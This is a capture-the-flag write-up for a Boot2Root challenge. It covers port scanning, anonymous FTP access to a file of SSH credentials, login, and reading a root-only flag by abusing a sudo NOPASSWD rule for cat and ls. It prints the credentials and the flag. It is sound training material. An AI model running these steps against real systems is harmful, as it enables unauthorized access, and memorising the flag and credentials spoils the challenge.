GGEZAF

Challenge Information

Field	Details
Challenge	GGEZAF
Category	Boot2Root
Points	473
Target IP	45.32.121.222
Flag Format	OWASPKL{...}

Objective

Gain initial access to the dockerized target, enumerate the system, identify a privilege escalation path, and retrieve the root flag.

Reconnaissance

Initial port scan:

nmap 45.32.121.222

Result:

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh

Service/version scan:

nmap -sV -sC 45.32.121.222

Important findings:

21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed
|_-rw-r--r-- 1 ftp ftp 19 May 29 13:06 creds.txt

22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3.2

FTP allowed anonymous login and exposed a file named creds.txt.

FTP Enumeration

Connected to FTP:

ftp 45.32.121.222

Logged in anonymously:

Name: Anonymous
Password: [REDACTED_PASSWORD]

Listed files:

ls -la

Output:

-rw-r--r-- 1 ftp ftp 19 May 29 13:06 creds.txt

Downloaded the credential file:

get creds.txt

Read the file locally:

cat creds.txt

Credentials found:

user1337:notsoleet

Initial Access

Used the discovered credentials to SSH into the target:

ssh user1337@45.32.121.222

Password:

notsoleet

Successful login:

Welcome to Ubuntu 26.04 LTS
user1337@docker-chall-1:~$

Local Enumeration

Listed the user home directory:

ls -la

Interesting files:

-rwxrwxrwx 1 user1337 user1337 32 May 29 13:07 info.txt
-rwxrwxr-x 1 user1337 user1337 732 May 30 13:25 test.py

Read info.txt:

cat info.txt

Output:

privesc to root to get flag. TY

Checked sudo privileges:

sudo -l

Output:

User user1337 may run the following commands on docker-chall-1:
    (ALL) NOPASSWD: /usr/bin/cat, /usr/bin/ls

This showed that user1337 could execute /usr/bin/cat and /usr/bin/ls as root without a password.

Privilege Escalation

The sudo permission did not grant a root shell, but it allowed root-level file listing and file reading.

Listed the /root directory:

sudo /usr/bin/ls -la /root

Output:

total 32
drwx------ 1 root root 4096 May 29 13:10 .
drwxr-xr-x 1 root root 4096 May 29 17:14 ..
-rw------- 1 root root 1423 May 29 13:10 .bash_history
-rw-r--r-- 1 root root 3106 Apr 20 16:46 .bashrc
drwxr-xr-x 3 root root 4096 May 29 13:06 .local
-rw-r--r-- 1 root root 132 Apr 20 16:46 .profile
drwx------ 2 root root 4096 May 29 13:03 .ssh
-r-------- 1 root root 47 May 29 13:08 [REDACTED_ROOT_FILE]

The root flag file was readable only by root:

-r-------- 1 root root 47 May 29 13:08 [REDACTED_ROOT_FILE]

Used the sudo-allowed cat binary to read it:

sudo /usr/bin/cat /root/[REDACTED_ROOT_FILE]

Root Flag

OWASPKL{H3re's_th3_G1v3aW4y_500_p0int5_f0r_yA}

Vulnerability Summary

Stage	Finding	Impact
FTP Enumeration	Anonymous FTP login enabled	Exposed credential file
Credential Disclosure	creds.txt contained SSH credentials	Allowed initial SSH access
Sudo Misconfiguration	user1337 could run /usr/bin/cat and /usr/bin/ls as root	Allowed reading root-only files

Attack Chain

Open FTP
  ↓
Anonymous login
  ↓
Download creds.txt
  ↓
SSH as user1337
  ↓
Check sudo privileges
  ↓
Abuse sudo NOPASSWD cat/ls
  ↓
Read /root/[REDACTED_ROOT_FILE]
  ↓
Root flag obtained